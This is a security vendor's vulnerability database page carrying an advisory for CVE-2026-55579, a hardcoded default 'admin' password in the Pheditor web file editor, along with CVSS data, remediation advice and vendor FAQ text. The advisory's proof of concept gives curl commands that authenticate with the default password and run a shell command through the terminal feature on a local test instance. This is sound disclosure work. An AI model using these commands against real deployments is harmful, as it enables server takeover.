How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,176

Total vulnerabilities in the database

CVE-2026-55579 — pheditor / pheditor

Use of Hard-coded Credentials

Summary

Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: All versions of Pheditor

The password is hardcoded at pheditor.php:11:

define(&#039;PASSWORD&#039;, &#039;c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec&#039;);

This is the SHA-512 hash of the string admin:

echo -n &#039;admin&#039; | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec

The application displays a warning banner at pheditor.php:1956-1958 when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.

The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.

Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.

PoC

Environment: Any system running Pheditor with default configuration.

Setup:

git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &amp;

Positive trigger — authenticate with default password:

curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  -d &quot;pheditor_password=admin&quot; -L -o /dev/null -w &quot;%{http_code}&quot;

Expected: 200 — successful authentication with the default password admin.

Verify full access:

TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
  grep -o &#039;token = &quot;[a-f0-9]*&quot;&#039; | grep -o &#039;&quot;[a-f0-9]*&quot;&#039; | tr -d &#039;&quot;&#039;)
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode &quot;action=terminal&quot; \
  --data-urlencode &quot;token=$TOKEN&quot; \
  --data-urlencode &#039;command=echo `id`&#039; \
  --data-urlencode &quot;dir=&quot;

Expected: id output showing web server user — proves full system access through default credentials combined with terminal RCE.

Control (wrong password):

curl -s -X POST http://localhost:8080/pheditor.php \
  -d &quot;pheditor_password=wrongpassword&quot; | grep -o &#039;not correct&#039;

Expected: not correct — authentication logic works but default password is trivially guessable.

Cleanup:

kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

Use of Hard-coded Credentials (CWE-798). The default password admin is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.

Attacker privileges: Unauthenticated remote attacker (PR:N).

Security boundary crossed: Unauthenticated → fully authenticated administrator.

Confidentiality impact: High — read all files within MAIN_DIR and beyond (via terminal).

Integrity impact: High — write/delete files, upload webshells, modify application code, execute arbitrary commands.

Availability impact: High — delete files and directories, disrupt services.

Suggested remediation:

Remove the default password — require user to set a password during installation.
Add a setup wizard that forces password creation on first access.
Add a forced password change on first login with default credentials.
Use password_hash() / password_verify() with PASSWORD_BCRYPT instead of raw SHA-512.

Credits

Thai Son Dinh from VinSOC Labs (R&D)

Published: Jul 16, 2026
Updated: Jul 17, 2026
CVE: CVE-2026-55579
GHSA: GHSA-p4h7-p9rj-2pq2
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-798

Affected Software
References

Software	From	Fixed in
pheditor / pheditor	2.0.1	2.0.6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.